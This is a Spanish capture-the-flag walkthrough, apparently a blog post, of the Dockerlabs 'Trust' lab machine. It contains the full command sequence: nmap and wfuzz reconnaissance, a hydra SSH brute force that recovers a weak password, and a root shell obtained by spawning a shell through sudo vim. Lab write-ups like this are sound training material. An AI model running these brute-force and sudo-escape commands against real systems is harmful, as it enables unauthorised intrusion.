Entrada

Trust

Trust

Trust

Autor: El Pingüino de Mario Dificultad: Muy Fácil Fecha de creación: 22/04/2025

Como es tan sencillo usar los contenedores de Dockerlabs he pensado creo que voy a empezar a lanzarlos directamente dentro de la máquina Kali25, por homogeneizar un entorno, aunque habrá herramientas que acabe instalado por necesidad de los retos.

Reconocimiento

Lanzo el contenedor y para empezar visito la dirección a ver si tiene un servidor web corriendo y lo tiene, pero con la página por defecto Apache2 Debian Default Page

Viendo esto opto por el escaneo con nmap.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
┌──(kali㉿kali25)-[~/Dockerlabs/trust]
└─$ nmap -p- -sV -T4 -vv 10.89.0.2    
Starting Nmap 7.95 ( https://nmap.org ) at 2025-08-23 15:43 CEST
NSE: Loaded 47 scripts for scanning.
Initiating ARP Ping Scan at 15:43
Scanning 10.89.0.2 [1 port]
Completed ARP Ping Scan at 15:43, 0.06s elapsed (1 total hosts)
Initiating Parallel DNS resolution of 1 host. at 15:43
Completed Parallel DNS resolution of 1 host. at 15:44, 13.00s elapsed
Initiating SYN Stealth Scan at 15:44
Scanning 10.89.0.2 [65535 ports]
Discovered open port 22/tcp on 10.89.0.2
Discovered open port 80/tcp on 10.89.0.2
Completed SYN Stealth Scan at 15:44, 0.85s elapsed (65535 total ports)
PORT   STATE SERVICE REASON         VERSION
22/tcp open  ssh     syn-ack ttl 64 OpenSSH 9.2p1 Debian 2+deb12u2 (protocol 2.0)
80/tcp open  http    syn-ack ttl 64 Apache httpd 2.4.57 ((Debian))
MAC Address: E6:35:17:0B:61:11 (Unknown)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Read data files from: /usr/share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 20.45 seconds
           Raw packets sent: 65536 (2.884MB) | Rcvd: 65536 (2.621MB)

Para buscar páginas no listadas uso la herramienta Wfuzz y como payloads un listado de directorios de Seclist

1
2
3
4
5
6
7
8
9
10
11
12
13
14
┌──(kali㉿kali25)-[~/Dockerlabs/trust]
└─$ wfuzz -c -z file,/usr/share/seclists/Discovery/Web-Content/directory-list-2.3-big.txt --hc 404 http://10.89.0.2/FUZZ.php 

********************************************************
* Wfuzz 3.1.0 - The Web Fuzzer                         *
********************************************************

Target: http://10.89.0.2/FUZZ.php
Total requests: 1273832

=====================================================================
ID           Response   Lines    Word       Chars       Payload                           
===================================================================== 
000005261:   200        39 L     78 W       926 Ch      "secret"    

Parece que encontramos una web secret.php

1
2
3
4
Hola Mario,

Esta web no se puede hackear.

Explotación

Después de una inspección con el navegador, parece que efectivamente la web va a ser difícil de hackear, no tiene ningún punto de entrada, tampoco tiene controles, ni parece recibir ningún tipo de parámetro o siquiera ofrece unas cookies durante la sesión, con lo que no parece “hackeable”.

¿Probamos con la fuerza bruta? Al menos tenemos un posible usuario mario

1
2
3
4
5
6
7
8
9
10
┌──(kali㉿kali25)-[~/Dockerlabs/trust]
└─$ hydra -l mario -P /usr/share/wordlists/rockyou.txt ssh://10.89.0.2
Hydra v9.5 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2025-08-23 21:01:00
[WARNING] Many SSH configurations limit the number of parallel tasks, it is recommended to reduce the tasks: use -t 4
[DATA] max 16 tasks per 1 server, overall 16 tasks, 14344399 login tries (l:1/p:14344399), ~896525 tries per task
[DATA] attacking ssh://10.89.0.2:22/
[22][ssh] host: 10.89.0.2   login: mario   password: chocolate
1 of 1 target successfully completed, 1 valid password found

Vaya parece que mario usa una password muy débil que nos va a permitir entrar al sistema por SSH.

Escalada de privilegios

1
2
3
4
5
6
7
8
9
10
11
                                                                                                                                                            
┌──(kali㉿kali25)-[~/Dockerlabs/trust]
└─$ ssh mario@10.89.0.2
mario@10.89.0.2's password: 
mario@2dc2475cc677:~$ sudo -l
Matching Defaults entries for mario on 2dc2475cc677:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin, use_pty

User mario may run the following commands on 2dc2475cc677:
    (ALL) /usr/bin/vim

Lo interesante aquí es saber que parece que puede correr vim con privilegios, eso me hace pensar que es posible utilizar vim para o escalar privilegios. Si consultamos https://gtfobins.github.io/gtfobins/vim/ nos sugiere explotar vim de la siguiten manera

It can be used to break out from restricted environments by spawning an interactive system shell.

vim -c ‘:!/bin/sh’

Efectivamente podemos llamar a una shell desde vim, probemos pero con privilegios.

1
2
3
4
5
mario@79321b51ed1e:~$ sudo vim -c ':!/bin/sh'
[sudo] password for mario: 

# whoami
root

La web era solo para obtener información del usuario. Luego tenemos la fuerza bruta contra un servicio SSH, claro que con una contraseña muy débil y por último elevación de privilegios mediante una configuración insegura en este caso del fichero /etc/sudoers

Esta entrada está licenciada bajo CC BY 4.0 por el autor.